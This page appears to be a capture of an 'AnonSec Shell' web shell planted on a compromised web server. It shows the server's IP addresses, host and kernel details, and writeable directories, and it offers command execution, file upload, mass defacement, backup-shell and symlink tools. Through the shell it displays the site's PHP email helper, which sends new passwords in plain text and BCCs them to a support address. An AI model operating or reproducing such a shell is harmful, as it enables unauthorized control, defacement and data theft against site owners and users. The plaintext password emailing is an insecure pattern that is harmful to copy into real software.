. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.6.220   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/app/helpers/emailmessage.php
<?php
require_once 'Mail.php';
include_once 'Mail/mime.php';


class EmailMessage
{
	const CRLF = "\n";
	
	protected $config;
	protected $extra;
	
	var $defaults = array(
		'host' => '',
		'username' => '',
		'password' => '',
		'auth' => '',
		'debug' => '',
        'port' => ''
	);
	
	function __construct($inifile)
	{
		$ini = $inifile?parse_ini_file($inifile,true):null;
		if ($ini)
		{
			$this->extra = $ini['extra'];
			$inivalues = array_merge($this->defaults,$ini['general']);
			$this->config = array_intersect_key($inivalues,$this->defaults);
		}
		
		// Fix auth for the picky pear mailer
		$this->config['auth'] = $this->config['auth']?true:false;

	}
	
	
	/**
	 * 
	 * API RESET PASSWORD EMAIL
	 * 
	 * 
	 * 
	 * 
	 */
	
	public function SendResetMessage($subject, $body, $to, $bcc) {
		$mailer = Mail::factory('smtp',$this->config);
		$headers = array(
			'From' => $this->extra['sender'],
			'To' => $to,
			'Cc' => $this->extra['sender'],
			'bcc' => $bcc,
			'Subject' => $subject,
		);
		$mime = new Mail_mime(self::CRLF);
		$mime->setTXTBody($body);
		
		//do not ever try to call these lines in reverse order
		$addresses = array(
			'To' => $to,
			'Cc' => $this->extra['sender'],
			'bcc' => $bcc
		);
        $body = $mime->get();
		$hdrs = $mime->headers($headers);
		$result = $mailer->send($addresses,$hdrs,$body);
		

		 
		if (PEAR::isError($result)) {
		  return false;
		 } else {
		  return true;
		 }

	}
	
	
	// replacement: array of key=>val that will be remplaced in the email (eg to replace [USERNAME] with "vincentg")
	function SendMessage($subject, $htmlbody, $txtbody, $from, $to, $cc='', $bcc='', $replacements=array(), $filelocation=null, $filename=null, $filetype=null)
	{
		//error_log("EMAIL VALUES:".$subject." " . $htmlbody ." ". $txtbody ." ". $from ." ". $to);

		if (!is_array($to)) $to = array($to);
		if (!is_array($cc)) $cc = array($cc);
		if (!is_array($bcc)) $bcc = array($bcc);

		$htmlmsg = str_replace(array_keys($replacements),$replacements,$htmlbody);
		$txtmsg = str_replace(array_keys($replacements),$replacements,$txtbody);
		$title = str_replace(array_keys($replacements),$replacements,$subject);

		
		$mailer = Mail::factory('smtp',$this->config);
			
		$headers = array(
			'From' => $from,
			'To' => implode(',',$to),
			'Cc' => implode(',',$cc),
			'bcc' => implode(',',$bcc),
			'Subject' => $title,
		);

		if (!$headers['To'])
			unset($headers['To']);
		if (!$headers['Cc'])
			unset($headers['Cc']);
		if (!$headers['bcc'])
			unset($headers['bcc']);

		$mime = new Mail_mime(self::CRLF);
		$mime->setTXTBody($txtmsg);
		$mime->setHTMLBody($htmlmsg);

        // Add attachement
        if ($filelocation)
        {
            $filename = $filename?$filename:pathinfo($filelocation,PATHINFO_BASENAME);
            $filetype = $filetype?$filetype:'application/octet-stream';
            $mime->addAttachment($filelocation, $filetype, $filename);
        }
        
		//do not ever try to call these lines in reverse order
		$addresses = array_merge($to,$cc,$bcc);
        $body = $mime->get();
		$hdrs = $mime->headers($headers);
		$result = $mailer->send($addresses,$hdrs,$body);

		//error_log("EMAIL CHECK:".$result);
		 
		if (PEAR::isError($result)) {
		  return PEAR::isError($result);
		 } else {
		  return !PEAR::isError($result);
		 }
	 
		
	}
	 
}





class Emaildb
{
	const
		EMAILTYPE_INDIVIDUAL = 1,
		EMAILTYPE_GROUP = 2,
		EMAILTYPE_ALL = 3;
	
	protected $mdb2;
	
	function __construct()
	{
		$this->mdb2 = new DBLink(FILE_INI_MDADB);
	}
	
	function GetEmail($emailid)
	{
		$qemailid = $this->mdb2->QuoteInt($emailid);
		$query = "SELECT email_id, system, txtbody, htmlbody, subject, email.description AS emaildesc, email.email_type_id, email_type.name "
				."FROM email "
				."LEFT JOIN email_type USING (email_type_id) "
				."WHERE email_id = $qemailid";
				
		return $this->mdb2->SafeFetchRow($query);
	}
	
	function ListEmails()
	{
		$query = "SELECT email_id, system, subject, email.description AS emaildesc, email.email_type_id, email_type.name, email_type.description AS typedesc, COUNT(sentemail_id) AS nbsent, MAX(date_sent) AS lastsent "
				."FROM email "
				."LEFT JOIN email_type USING (email_type_id) "
				."LEFT JOIN sentemail USING (email_id) "
				."GROUP BY email_id";
		return $this->mdb2->SafeFetch($query);
	}
	
	function GetEmailTypes()
	{
		$query = "SELECT email_type_id, name, description FROM email_type";
		return $this->mdb2->SafeFetch($query);
	}
	
	function DeleteEmail($emailid)
	{
		$qemailid = $this->mdb2->QuoteInt($emailid);
		$query = "DELETE FROM email WHERE email_id = $qemailid";
		return $this->mdb2->SafeExec($query);
	}
	
	function SaveEmail($subject, $description, $emailtypeid, $txt, $html, $emailid=null)
	{
		$qemailid = $this->mdb2->QuoteIntSpecial($emailid);
		$qemailtypeid = $this->mdb2->QuoteInt($emailtypeid);
		$qsubject = $this->mdb2->QuoteText($subject);
		$qdescription = $this->mdb2->QuoteText($description);
		$qtxt = $this->mdb2->QuoteText($txt);
		$qhtml = $this->mdb2->QuoteText($html);
		
		$query = "INSERT INTO email (email_id, email_type_id, system, description, subject, txtbody, htmlbody) "
				."VALUES ($qemailid, $qemailtypeid, 0, $qdescription, $qsubject, $qtxt, $qhtml) "
				."ON DUPLICATE KEY UPDATE "
				."email_type_id = $qemailtypeid, description = $qdescription, subject = $qsubject, txtbody = $qtxt, htmlbody = $qhtml ";
		return $emailid?$this->mdb2->SafeExec($query):$this->mdb2->SafeInsert($query);
	}
    
    function StoreSentEmailInfo($emailid, $sender_userid, $dest_groupid = null, $dest_userid = null)
    {
        $qemailid = $this->mdb2->QuoteInt($emailid);
        $qsender_userid = $this->mdb2->QuoteInt($sender_userid);
        $qdest_groupid = $this->mdb2->QuoteInt($dest_groupid);
        $qdest_userid = $this->mdb2->QuoteInt($dest_userid);
        $query = "INSERT INTO sentemail (email_id, sender_user_id, group_id, user_id, date_sent) VALUES ($qemailid, $qsender_userid, $qdest_groupid, $qdest_userid, NOW())";
        return $this->mdb2->SafeInsert($query);
    }
}

class OCMailer extends EmailMessage
{
	protected $emaildb;
	
	function __construct()
	{
		parent::__construct(FILE_INI_EMAIL);
		$this->emaildb = new Emaildb();
		if (!isset($this->extra['sender']))
			$this->extra['sender'] = '';
	}
	
	
	
	
	
		
	/**
	 * 
	 * API EMAIL
	 * Email new password
	 * 
	 * 
	 * 
	 * 
	 **/
	public function EmailNewPassword($username, $password) {
		
		$subject = "Your password has been successfully reset!";
		$body = "Your new password is ".$password;
		$to = $username;
		$bcc = "support@mytalentacademy.com";
		
		$sent = $this->SendResetMessage($subject, $body, $to, $bcc);

        if ($sent) {
        	return true;
        } else {
        	return false;
        }

	}
	

	// destid depends on the email destination:
	// - for individual email, it must be a userid
	// - for group emails, it must be a groupid
	// - for global emails, it is ignored.
	// allowresend is unused for now...
	function SendEmail($emailid,$destid,$extrareplacements = array(), $allowresend=false)
	{
		
		$email = $this->emaildb->GetEmail($emailid);
		$ocuser = new OCUser(false);
        $admin_userid = OCUser::LGetUserId();
        $dest_userid = null;
        $dest_groupid = null;
		
		$to = $cc = $bcc = array();
		$replace = array();
		switch ($email['email_type_id'])
		{
			default:
			case Emaildb::EMAILTYPE_INDIVIDUAL:
                $dest_userid = $destid;
				$userdata = $ocuser->GetUserDataById($destid);
				$to = '"'.$userdata['firstname'].' '.$userdata['lastname'].'" <'.$userdata['email'].'>';
				$replace = $this->getUserMessageReplacements($userdata);
				break;
			case Emaildb::EMAILTYPE_GROUP:
                $dest_groupid = $destid;
				$bcc = $ocuser->GetGroupEmails($destid);
				$replace = $this->getGroupMessageReplacements();
				break;
			case Emaildb::EMAILTYPE_ALL:
				$bcc = $ocuser->GetAllEmails();
				$replace = $this->getGroupMessageReplacements();
				break;
		}
		
		if(count($extrareplacements)){
			$replace = array_merge($replace,$this->getGeneralMessageReplacements(),$extrareplacements);
		}else{
			
			$tmp = $this->getGeneralMessageReplacements();
			
			if(is_array($tmp)){
				$replace= $tmp;
			}else{
				$replace = array();
			}
		}
		$sent = $this->SendMessage($email['subject'],$email['htmlbody'],$email['txtbody'],$this->extra['sender'],$to,$cc,$bcc,$replace);
        if ($sent)
            $this->emaildb->StoreSentEmailInfo($emailid,$admin_userid,$dest_groupid,$dest_userid);
        
        return $sent;
	}
	
	protected function getUserMessageReplacements($userdata)
	{
		return array(
			'[FIRSTNAME]' => $userdata['firstname'],
			'[LASTNAME]' => $userdata['lastname'],
			'[EMAIL]' => $userdata['email'],
		);
	}
	protected function getGroupMessageReplacements()
	{
		return array(
		);
	}
	protected function getGeneralMessageReplacements()
	{
		return true;
	}
	
	public static function GetAvailableReplacements($emailtypeid)
	{
		switch ($emailtypeid)
		{
			case EMAILTYPE_INDIVIDUAL:
				return array(
					'[FIRSTNAME]' => "User's first name",
					'[LASTNAME]' => "User's last name",
					'[EMAIL]' => "User's email address",
				);
				break;

			case EMAILTYPE_GROUP:
			case EMAILTYPE_ALL:
			default:
				break;
		}
	}
}

?>

Anon7 - 2022
AnonSec Team